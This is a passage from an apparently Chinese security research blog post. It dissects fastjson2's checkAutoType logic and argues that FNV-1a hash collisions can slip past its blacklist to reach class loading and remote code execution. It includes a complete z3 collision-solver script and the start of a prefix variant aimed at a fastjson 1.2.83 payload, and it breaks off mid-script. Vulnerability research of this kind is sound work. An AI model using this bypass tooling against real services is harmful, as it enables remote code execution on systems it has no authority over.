<p>根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:</p>
<p><img src="https://i.ibb.co/5XFmYKLp/cb9fe00d3c9b.png" alt="95c4a05c-be99-4587-af3b-91e6a68decfd.png"></p>
<p>那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件:</p>
<p>●通过 arthas 将该类的字节码导出</p>
<p>●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译</p>
<p>通过思路 2, 最终调用栈如下:</p>
<pre><code>at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderCreatorASM</span><span class="hljs-selector-class">.jitObjectReader</span>(ObjectReaderCreatorASM<span class="hljs-selector-class">.java</span>:<span class="hljs-number">594</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderCreatorASM</span><span class="hljs-selector-class">.createObjectReader</span>(ObjectReaderCreatorASM<span class="hljs-selector-class">.java</span>:<span class="hljs-number">327</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReaderInternal</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">845</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReader</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">763</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.JSON</span><span class="hljs-selector-class">.parseObject</span>(JSON<span class="hljs-selector-class">.java</span>:<span class="hljs-number">858</span>)
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo01Basic</span><span class="hljs-selector-class">.run</span>(Demo01Basic<span class="hljs-selector-class">.java</span>:<span class="hljs-number">29</span>)
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo01Basic</span><span class="hljs-selector-class">.main</span>(Demo01Basic<span class="hljs-selector-class">.java</span>:<span class="hljs-number">17</span>)
</code></pre><p>导出一波:</p>
<p><img src="https://i.ibb.co/3yTSfDny/3e0213ed1be1.png" alt="1bf88f69-0121-464c-987d-ac4ebed50e17.png"></p>
<p>最终我们可以看到字节码信息:</p>
<p><img src="https://i.ibb.co/99s4p6jc/c4b88b80065b.png" alt="efbdf9ee-7776-4885-9e48-8bfeee4516b8.png"></p>
<p>这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:</p>
<p><img src="https://i.ibb.co/hFRJs3QS/c6372bd3238e.png" alt="dafa3b01-f783-402b-b46e-59f496e6d299.png"></p>
<p>随后增加 classpath, 并且将其置顶:</p>
<p><img src="https://i.ibb.co/Y4RP4LNk/b212fd84590f.png" alt="42b9238b-cd2c-4ca7-8db5-bc1388b5887c.png"></p>
<p>但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: <a href="https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha">https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha</a> 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息:</p>
<p><img src="https://i.ibb.co/7J4PwgVD/6cd28097c952.png" alt="e4282e04-04bf-4e50-b5ec-1bfc3076e8bd.png"></p>
<p>正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:</p>
<p><img src="https://i.ibb.co/RkbCq6wP/4554190541b2.png" alt="1b1518ab-74f4-4a26-a11b-8f90ef443d86.png"></p>
<p>但部分方法会调用 checkAutoType:</p>
<p><img src="https://i.ibb.co/bjbdv7km/956e9f6f4595.png" alt="4f43bffc-7b9e-4a38-a899-4f6fb0955563.png"></p>
<h1>RCE 场景</h1>
<p>参考: <a href="https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A">https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A</a>, 官网的 commit 记录中存在对 payload 的测试记录:</p>
<p><img src="https://i.ibb.co/RkJRnvBC/52cc63f5fbbd.png" alt="b5b3ca4b-df8e-45db-9908-075fbdefd7ec.png"></p>
<p>可以看到期望类定义为了 Object, Debug 看一下:</p>
<pre><code><span class="hljs-variable">package</span> <span class="hljs-variable">com</span>.<span class="hljs-property">heihu577</span>.<span class="hljs-property">demo</span>;
<span class="hljs-keyword">import</span> <span class="hljs-variable">com</span>.<span class="hljs-property">alibaba</span>.<span class="hljs-property">fastjson2</span>.<span class="hljs-property">JSON</span>;
<span class="hljs-variable">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">Demo</span> {
<span class="hljs-variable">public</span> <span class="hljs-keyword">static</span> <span class="hljs-variable">void</span> <span class="hljs-title function_">main</span>(<span class="hljs-params">String</span>[] <span class="hljs-params">args</span>) {
<span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>com.heihu577.model.User<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
<span class="hljs-comment">// 指明类型为 Object.class</span>
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">Object</span>.<span class="hljs-property">class</span>);
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
}
}
</code></pre><p>调用栈为:</p>
<pre><code>at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.checkAutoType</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">554</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReader</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">530</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span>.JSONReader<span class="hljs-variable">$Context</span><span class="hljs-selector-class">.getObjectReaderAutoType</span>(JSONReader<span class="hljs-selector-class">.java</span>:<span class="hljs-number">4194</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderImplObject</span><span class="hljs-selector-class">.readObject</span>(ObjectReaderImplObject<span class="hljs-selector-class">.java</span>:<span class="hljs-number">119</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.JSON</span><span class="hljs-selector-class">.parseObject</span>(JSON<span class="hljs-selector-class">.java</span>:<span class="hljs-number">864</span>)
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo</span><span class="hljs-selector-class">.main</span>(Demo<span class="hljs-selector-class">.java</span>:<span class="hljs-number">10</span>)
</code></pre><p>可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来:</p>
<p><img src="https://i.ibb.co/G3M7qhBj/56b13aa8f212.png" alt="abc56426-51dd-4907-b865-168673fe89e4.png"></p>
<p>在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:</p>
<p><img src="https://i.ibb.co/wZQLkV1w/ae3f4c0bde08.png" alt="8b01895c-b5bd-4d02-b94f-279eafb5b1f6.png"></p>
<p>随后经过调用栈:</p>
<pre><code>at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.checkAutoType</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">554</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderProvider</span><span class="hljs-selector-class">.getObjectReader</span>(ObjectReaderProvider<span class="hljs-selector-class">.java</span>:<span class="hljs-number">530</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span>.JSONReader<span class="hljs-variable">$Context</span><span class="hljs-selector-class">.getObjectReaderAutoType</span>(JSONReader<span class="hljs-selector-class">.java</span>:<span class="hljs-number">4194</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.reader</span><span class="hljs-selector-class">.ObjectReaderImplObject</span><span class="hljs-selector-class">.readObject</span>(ObjectReaderImplObject<span class="hljs-selector-class">.java</span>:<span class="hljs-number">119</span>)
at com<span class="hljs-selector-class">.alibaba</span><span class="hljs-selector-class">.fastjson2</span><span class="hljs-selector-class">.JSON</span><span class="hljs-selector-class">.parseObject</span>(JSON<span class="hljs-selector-class">.java</span>:<span class="hljs-number">864</span>)
at com<span class="hljs-selector-class">.heihu577</span><span class="hljs-selector-class">.demo</span><span class="hljs-selector-class">.Demo</span><span class="hljs-selector-class">.main</span>(Demo<span class="hljs-selector-class">.java</span>:<span class="hljs-number">10</span>)
</code></pre><p>可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启):</p>
<p><img src="https://i.ibb.co/YT0sXdMS/47915d4d4111.png" alt="5e0aa420-973a-4fa2-8376-eb7af088ca56.png"></p>
<p>而后面的逻辑存在一个黑白名单校验的缺陷:</p>
<p><img src="https://i.ibb.co/hJsSsZ2h/72d928600274.png" alt="bb1087af-b01f-4919-a6c2-ffa74baa294c.png"></p>
<p>即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑:</p>
<p><img src="https://i.ibb.co/TDn50RXY/383da101a051.png" alt="1f220816-5521-45e6-8bf6-cd2c6f22b688.png"></p>
<p>又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载.</p>
<h2>hash 解密 &amp; payload 调试</h2>
<p>参考: <a href="https://zhuanlan.zhihu.com/p/30548907">https://zhuanlan.zhihu.com/p/30548907</a> &amp; <a href="https://ctf-wiki.org/reverse/tools/constraint/z3/">https://ctf-wiki.org/reverse/tools/constraint/z3/</a> &amp; <a href="https://www.freebuf.com/articles/web/232002.html">https://www.freebuf.com/articles/web/232002.html</a></p>
<p>由于 FNV 算法使用了^= &amp; *=进行做位运算, 所以能列成方程组来解表达式:</p>
<pre><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-string">"""
FNV-1a 64 位哈希碰撞求解器 (z3)
对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
- 长字符串 (&gt;8 字符) 或含字符 &gt;255: 走 FNV-1a
- FNV-1a: hash = (hash ^ ch) * prime
- offset = 0xcbf29ce484222325
- prime = 0x100000001b3
用法:
python3 fnv_collision.py &lt;目标hash&gt; [字符数] [最小字符] [最大字符]
参数:
目标hash : 十进制 (可负) 或 0x 开头的十六进制
字符数 : 默认 5
最小字符 : 默认 256 (确保 &gt;255, 触发 FNV-1a)
最大字符 : 默认 65535 (Java char 上限)
示例:
python3 fnv_collision.py 0xd5ef36df67371111
python3 fnv_collision.py -6293031534589903644
python3 fnv_collision.py 15415600382649766161 5 256 65535
依赖:
pip3 install z3-solver
"""</span>
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *
<span class="hljs-comment"># FNV-1a 64 位常量</span>
OFFSET = <span class="hljs-number">0xcbf29ce484222325</span>
PRIME = <span class="hljs-number">0x100000001b3</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">parse_hash</span>(<span class="hljs-params">s</span>):
<span class="hljs-string">"""解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""</span>
s = s.strip()
<span class="hljs-keyword">if</span> s.lower().startswith(<span class="hljs-string">'0x'</span>):
v = <span class="hljs-built_in">int</span>(s, <span class="hljs-number">16</span>)
<span class="hljs-comment"># 转成有符号 long (Java long 是有符号 64 位)</span>
<span class="hljs-keyword">if</span> v &gt;= <span class="hljs-number">2</span>**<span class="hljs-number">63</span>:
v -= <span class="hljs-number">2</span>**<span class="hljs-number">64</span>
<span class="hljs-keyword">return</span> v
<span class="hljs-keyword">return</span> <span class="hljs-built_in">int</span>(s)
<span class="hljs-keyword">def</span> <span class="hljs-title function_">to_unsigned</span>(<span class="hljs-params">v</span>):
<span class="hljs-string">"""有符号 long -&gt; 无符号"""</span>
<span class="hljs-keyword">return</span> v &amp; <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">fnv1a_hash</span>(<span class="hljs-params">s</span>):
<span class="hljs-string">"""计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""</span>
h = OFFSET
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> s:
h ^= <span class="hljs-built_in">ord</span>(ch)
h = (h * PRIME) &amp; <span class="hljs-number">0xFFFFFFFFFFFFFFFF</span>
<span class="hljs-keyword">return</span> h
<span class="hljs-keyword">def</span> <span class="hljs-title function_">solve</span>(<span class="hljs-params">target_hash, num_chars=<span class="hljs-number">5</span>, min_char=<span class="hljs-number">256</span>, max_char=<span class="hljs-number">65535</span></span>):
<span class="hljs-string">"""
用 z3 求 N 字符碰撞
target_hash: 目标 hash (有符号 long)
num_chars: 字符数
min_char: 字符最小值 (256 确保触发 FNV-1a)
max_char: 字符最大值 (65535 = Java char 上限)
"""</span>
target_unsigned = to_unsigned(target_hash)
<span class="hljs-comment"># 创建 num_chars 个 64 位 BitVec 变量</span>
c = [BitVec(<span class="hljs-string">f'c<span class="hljs-subst">{i}</span>'</span>, <span class="hljs-number">64</span>) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars)]
<span class="hljs-comment"># FNV-1a 计算</span>
h = BitVecVal(OFFSET, <span class="hljs-number">64</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars):
h = (h ^ c[i]) * BitVecVal(PRIME, <span class="hljs-number">64</span>)
<span class="hljs-comment"># 求解器</span>
s = Solver()
s.add(h == BitVecVal(target_unsigned, <span class="hljs-number">64</span>))
<span class="hljs-comment"># 字符范围约束</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars):
s.add(c[i] &gt;= min_char)
s.add(c[i] &lt;= max_char)
<span class="hljs-comment"># ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)</span>
<span class="hljs-comment"># 这些码点专用于 UTF-16 编码,不能作为独立字符</span>
<span class="hljs-comment"># Python chr() 能产生但 print 时 UTF-8 不允许</span>
s.add(Or(c[i] &lt; <span class="hljs-number">0xD800</span>, c[i] &gt; <span class="hljs-number">0xDFFF</span>))
<span class="hljs-comment"># 如果字符范围包含 &lt;=255 且 num_chars &lt;=8, 需要至少一个 &gt;255 强制走 FNV-1a</span>
<span class="hljs-keyword">if</span> min_char &lt;= <span class="hljs-number">255</span> <span class="hljs-keyword">and</span> num_chars &lt;= <span class="hljs-number">8</span>:
s.add(Or([c[i] &gt; <span class="hljs-number">255</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars)]))
<span class="hljs-comment"># 求解</span>
result = s.check()
<span class="hljs-keyword">if</span> result == sat:
m = s.model()
<span class="hljs-keyword">return</span> [m[c[i]].as_long() <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(num_chars)]
<span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) &lt; <span class="hljs-number">2</span>:
<span class="hljs-built_in">print</span>(__doc__)
sys.exit(<span class="hljs-number">1</span>)
<span class="hljs-comment"># 解析参数</span>
target_hash = parse_hash(sys.argv[<span class="hljs-number">1</span>])
num_chars = <span class="hljs-built_in">int</span>(sys.argv[<span class="hljs-number">2</span>]) <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) &gt; <span class="hljs-number">2</span> <span class="hljs-keyword">else</span> <span class="hljs-number">5</span>
min_char = <span class="hljs-built_in">int</span>(sys.argv[<span class="hljs-number">3</span>]) <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) &gt; <span class="hljs-number">3</span> <span class="hljs-keyword">else</span> <span class="hljs-number">256</span>
max_char = <span class="hljs-built_in">int</span>(sys.argv[<span class="hljs-number">4</span>]) <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) &gt; <span class="hljs-number">4</span> <span class="hljs-keyword">else</span> <span class="hljs-number">65535</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" FNV-1a 64 位哈希碰撞求解器 (z3)"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 目标 hash (有符号): <span class="hljs-subst">{target_hash}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 目标 hash (无符号): <span class="hljs-subst">{to_unsigned(target_hash)}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 目标 hash (十六进制): 0x<span class="hljs-subst">{to_unsigned(target_hash):016x}</span>"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 字符数: <span class="hljs-subst">{num_chars}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 字符范围: [<span class="hljs-subst">{min_char}</span>, <span class="hljs-subst">{max_char}</span>]"</span>)
<span class="hljs-keyword">if</span> min_char &lt;= <span class="hljs-number">255</span>:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ⚠ 范围含 &lt;=255, 会强制至少一个字符 &gt;255 (走 FNV-1a)"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-comment"># 求解</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 求解中..."</span>)
<span class="hljs-keyword">import</span> time
start = time.time()
result = solve(target_hash, num_chars, min_char, max_char)
elapsed = time.time() - start
<span class="hljs-keyword">if</span> result <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 未找到解 (unsat), 耗时 <span class="hljs-subst">{elapsed:<span class="hljs-number">.2</span>f}</span>s"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 可能原因:"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. 输入空间太小 (字符数 × 位宽 &lt; 64)"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. z3 求解超时 (尝试减少字符数)"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 真的无解 (极少见)"</span>)
<span class="hljs-keyword">return</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✓ 找到解! 耗时 <span class="hljs-subst">{elapsed:<span class="hljs-number">.2</span>f}</span>s"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-comment"># 构造碰撞字符串</span>
collision_str = <span class="hljs-string">''</span>.join(<span class="hljs-built_in">chr</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)
<span class="hljs-comment"># 验证</span>
actual_hash = fnv1a_hash(collision_str)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 碰撞结果"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 原始目标 hash: 0x<span class="hljs-subst">{to_unsigned(target_hash):016x}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 碰撞字符串 hash: 0x<span class="hljs-subst">{to_unsigned(actual_hash):016x}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 匹配: <span class="hljs-subst">{<span class="hljs-string">'✓'</span> <span class="hljs-keyword">if</span> to_unsigned(actual_hash) == to_unsigned(target_hash) <span class="hljs-keyword">else</span> <span class="hljs-string">'✗'</span>}</span>"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" Code Points: <span class="hljs-subst">{result}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 十六进制: [<span class="hljs-subst">{<span class="hljs-string">', '</span>.join(<span class="hljs-string">f'0x<span class="hljs-subst">{c:04x}</span>'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)}</span>]"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" Unicode 转义: <span class="hljs-subst">{<span class="hljs-string">''</span>.join(<span class="hljs-string">f'\\u<span class="hljs-subst">{c:04x}</span>'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)}</span>"</span>)
<span class="hljs-comment"># 安全打印: 避免代理对/控制字符导致 UnicodeEncodeError</span>
safe_str = collision_str.encode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'backslashreplace'</span>).decode(<span class="hljs-string">'utf-8'</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 字符串: \"<span class="hljs-subst">{safe_str}</span>\""</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 使用提示"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 1. Java 中使用 (用 Unicode 转义):"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f' String s = "<span class="hljs-subst">{<span class="hljs-string">""</span>.join(<span class="hljs-string">f"\\u<span class="hljs-subst">{c:04x}</span>"</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> result)}</span>";'</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 2. 这个字符串的 FNV-1a hash 等于目标 hash"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 3. 每个字符 &gt; 255, 确保走 FNV-1a 分支 (非短字符串优化)"</span>)
<span class="hljs-built_in">print</span>()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
main()
</code></pre><p>对应方程组:</p>
<pre><code>已知<span class="hljs-symbol">:</span>
<span class="hljs-built_in">OFFSET</span> = <span class="hljs-number">0</span>xcbf29ce484222325
PRIME = <span class="hljs-number">0</span>x100000001b3
target = -<span class="hljs-number">6293031534589903644</span>
方程(假设是 <span class="hljs-number">5</span> 位数)<span class="hljs-symbol">:</span>
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h0</span> = <span class="hljs-built_in">OFFSET</span>
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h1</span> = (<span class="hljs-symbol">h0</span> ^ <span class="hljs-symbol">c0</span>) * PRIME
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h2</span> = (<span class="hljs-symbol">h1</span> ^ <span class="hljs-symbol">c1</span>) * PRIME
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h3</span> = (<span class="hljs-symbol">h2</span> ^ <span class="hljs-symbol">c2</span>) * PRIME
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h4</span> = (<span class="hljs-symbol">h3</span> ^ <span class="hljs-symbol">c3</span>) * PRIME
<span class="hljs-built_in">let</span> <span class="hljs-symbol">h5</span> = (<span class="hljs-symbol">h4</span> ^ <span class="hljs-symbol">c4</span>) * PRIME
<span class="hljs-symbol">h5</span> == target
</code></pre><p>解方程核心代码块:</p>
<p><img src="https://i.ibb.co/9HBBc3DR/76002f5e75b1.png" alt="7ee9230b-8788-4f71-bae3-bcc95a1bb6ec.png"></p>
<p>最终对应 fastjson 场景解密 -6293031534589903644 效果:</p>
<p><img src="https://i.ibb.co/GvfCmD5h/d7ab48446ea4.png" alt="f65e13db-a03e-4de9-aa02-6e08e9b84338.png"></p>
<p>通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:</p>
<p><img src="https://i.ibb.co/B2sLh1ZW/9a77a52f43e6.png" alt="de3f01f7-7cd5-4b8b-a33c-1d3d9e56a3a9.png"></p>
<p>因为它是依次按照^= &amp; *=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本:</p>
<pre><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-string">""</span><span class="hljs-string">"
FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀
对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
- 长字符串 (&gt;8 字符) 或含字符 &gt;255: 走 FNV-1a
- FNV-1a: hash = (hash ^ ch) * prime
- offset = 0xcbf29ce484222325
- prime = 0x100000001b3
★ 前缀支持 (--prefix):
指定已知前缀字符串, 该前缀先参与 FNV-1a 计算, 改变起始 hash,
然后再求解 N 个未知字符使最终 hash 等于目标.
对应 Java 语义: Fnv.hashCode64(prefix + unknown) == targetHash
用法:
python3 fnv_collision.py &lt;目标hash&gt; [字符数] [最小字符] [最大字符] [--prefix PREFIX]
参数:
目标hash : 十进制 (可负) 或 0x 开头的十六进制
字符数 : 默认 5 (未知字符数, 不含 prefix)
最小字符 : 默认 256 (确保 &gt;255, 触发 FNV-1a)
最大字符 : 默认 65535 (Java char 上限)
--prefix : 已知前缀字符串 (先参与 FNV-1a, 再求未知字符)
示例:
python3 fnv_collision.py 0xd5ef36df67371111
python3 fnv_collision.py -6293031534589903644
python3 fnv_collision.py 0xd5ef36df67371111 5 256 65535 --prefix abc
python3 fnv_collision.py 0xd5ef36df67371111 3 --prefix 'java.lang.String'
依赖:
pip3 install z3-solver
"</span><span class="hljs-string">""</span>
import sys
import argparse
import time
<span class="hljs-keyword">from</span> z3 import *
<span class="hljs-comment"># FNV-1a 64 位常量</span>
OFFSET = 0xcbf29ce484222325
PRIME = 0x100000001b3
def parse_hash(s):
<span class="hljs-string">""</span><span class="hljs-string">"解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"</span><span class="hljs-string">""</span>
s = s.strip()
<span class="hljs-keyword">if</span> s.lower().startswith(<span class="hljs-string">'0x'</span>):
v = int(s, 16)
# 转成有符号 long (Java long 是有符号 64 位)
<span class="hljs-keyword">if</span> v &gt;= 2*<span class="hljs-number">*63</span>:
v -= 2*<span class="hljs-number">*64</span>
return v
return int(s)
def to_unsigned(v):
<span class="hljs-string">""</span><span class="hljs-string">"有符号 long -&gt; 无符号"</span><span class="hljs-string">""</span>
return v &amp; 0xFFFFFFFFFFFFFFFF
def to_java_chars(s):
<span class="hljs-string">""</span><span class="hljs-string">"
将 Python 字符串转成 Java char (UTF-16 code unit) 序列.
Java 的 String.charAt(i) 返回 16 位 char, FNV-1a 实际是对
UTF-16 code unit 迭代, 不是对 Unicode codepoint 迭代.
